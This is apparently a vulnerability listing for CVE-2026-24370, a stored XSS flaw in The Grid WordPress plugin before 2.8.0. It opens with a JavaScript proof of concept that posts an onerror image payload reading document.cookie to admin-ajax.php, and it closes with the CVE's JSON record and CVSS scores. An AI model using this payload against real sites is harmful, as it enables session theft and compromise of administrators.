CVE-2026-24370

// PoC for CVE-2026-24370 Stored XSS // Target: The Grid WordPress Plugin < 2.8.0 // Payload to be injected into a vulnerable parameter (e.g., grid item title) var xss_payload = '"><img src=x onerror=alert(document.cookie)>'; // Hypothetical request to inject the payload // Note: Actual endpoint parameters may vary based on plugin configuration var data = { action: 'tg_save_item', item_title: xss_payload, // ... other parameters }; fetch('/wp-admin/admin-ajax.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams(data) }).then(response => console.log('Payload injected')); // Trigger: When an admin views the grid, the alert() will execute.

{"cve": {"id": "CVE-2026-24370", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:37.527", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Theme-one The Grid the-grid allows Stored XSS.This issue affects The Grid: from n/a through < 2.8.0."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Theme-one The Grid the-grid permite XSS Almacenado. Este problema afecta a The Grid: desde n/a hasta &lt; 2.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/the-grid/vulnerability/wordpress-the-grid-plugin-2-8-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}